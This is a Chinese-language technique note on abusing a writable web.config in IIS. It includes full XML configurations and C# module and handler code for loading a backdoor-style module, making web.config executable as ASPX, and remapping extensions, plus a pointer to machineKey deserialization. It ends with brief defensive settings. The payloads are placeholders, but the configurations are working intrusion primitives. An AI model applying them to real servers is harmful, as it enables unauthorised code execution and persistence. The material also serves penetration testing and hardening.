当遇到可以覆盖/上传web.config时,可参考以下方式利用(均假设IIS>=7)
IIS配置加载流程

除了网站根目录外,子目录也可以有自己的web.config,但子目录有诸多限制
根目录web.config利用
加载托管moudlue
限制:
- 必须为集成模式
- 可上传dll到bin目录
注意:modules不能在子目录的web.config配置
| 12
 3
 4
 5
 6
 7
 
 | <configuration><system.webServer>
 <modules>
 <add name="door" type="IIS.Module"/>
 </modules>
 </system.webServer>
 </configuration>
 
 | 
以下代码编译为dll上传到bin目录
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 
 | using System;using System.Collections.Generic;
 using System.Text;
 using System.Web;
 
 namespace IIS
 {
 class Module : IHttpModule
 {
 public void Dispose()
 {
 }
 
 public void Init(HttpApplication context)
 {
 context.BeginRequest += Context_BeginRequest;
 }
 private void Context_BeginRequest(object sender, EventArgs e)
 {
 HttpApplication httpApplication = (HttpApplication)sender;
 HttpContext context = httpApplication.Context;
 if (context.Request.Path.Contains("door"))
 {
 context.Response.Write("hello world");
 context.Response.End();
 context.Response.Close();
 httpApplication.CompleteRequest();
 return;
 }
 }
 }
 }
 
 | 

映射扩展名为aspx
注意:buildProviders不能在子目录的web.config配置
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | <configuration><system.web>
 <compilation>
 <buildProviders>
 <add extension=".atxt" type="System.Web.Compilation.PageBuildProvider" />
 </buildProviders>
 </compilation>
 </system.web>
 <system.webServer>
 <handlers>
 <add name="SampleHandler" path="*.atxt" verb="*" type="System.Web.UI.PageHandlerFactory"/>
 </handlers>
 </system.webServer>
 </configuration>
 
 | 

web.config作为aspx
注意:buildProviders不能在子目录的web.config配置
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 
 | <?xml version="1.0" encoding="UTF-8"?><configuration>
 <system.webServer>
 <handlers accessPolicy="Read, Script, Write">
 <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" />
 <add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
 </handlers>
 <security>
 <requestFiltering>
 <fileExtensions>
 <remove fileExtension=".config" />
 </fileExtensions>
 <hiddenSegments>
 <remove segment="web.config" />
 </hiddenSegments>
 </requestFiltering>
 </security>
 <validation validateIntegratedModeConfiguration="false" />
 </system.webServer>
 <system.web>
 <compilation defaultLanguage="vb">
 <buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </buildProviders>
 </compilation>
 <httpHandlers>
 <add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
 </httpHandlers>
 </system.web>
 </configuration>
 
 
 
 
 
 
 
 
 | 

https://soroush.me/blog/tag/web-config
machineKey反序列化
通过web.config设置machineKey,通过反系列化执行任意代码
https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
创建目录
创建目录d:\xxx
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <configuration><location path=".">
 <system.webServer>
 <directoryBrowse enabled="true" />
 </system.webServer>
 </location>
 <system.web>
 <customErrors mode="Off"/>
 <compilation tempDirectory="d:\xxx" />
 </system.web>
 </configuration>
 
 | 
本地moudlue
根据微软文档,本地模块需要先注册才能使用
注册后配置保存在%windir%\system32\inetsrv\config\applicationhost.config

https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview
子目录web.config利用
加载托管handlers
限制:
- 要上传dll到根目录下bin目录
- 必须为集成模式
- web.config可上传任意目录,比如二级目录
| 12
 3
 4
 5
 6
 7
 
 | <configuration>  <system.webServer>
 <handlers>
 <add name="h" type="IIS.Handle" verb="*" path="h"/>
 </handlers>
 </system.webServer>
 </configuration>
 
 | 
以下代码编译为dll上传到bin目录
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | using System.Web;
 namespace IIS
 {
 public class Handle : IHttpHandler
 {
 public bool IsReusable => true;
 
 public void ProcessRequest(HttpContext context)
 {
 context.Response.Write("hello world");
 context.Response.End();
 context.Response.Close();
 }
 }
 }
 
 | 

ISAPI Handlers
ISAPI处理器需要先注册/允许才会生效,这种方法不奏效
| 12
 3
 4
 5
 6
 7
 8
 
 | <?xml version="1.0" encoding="UTF-8"?><configuration>
 <system.webServer>
 <handlers accessPolicy="Read, Script, Write">
 <add name="web_config" path="*.txt" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\xxx.dll" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
 </handlers>
 </system.webServer>
 </configuration>
 
 | 
防御
最主要还是通过文件权限防止修改/创建web.config,以及bin目录
allowSubDirConfig
通过allowSubDirConfig配置不允许子目录配置
https://techcommunity.microsoft.com/blog/iis-support-blog/how-to-prevent-web-config-files-to-be-overwritten-by-config-files-in-application/297627
lockItem
通过lockItem=”true”锁定配置,不允许子目录覆盖配置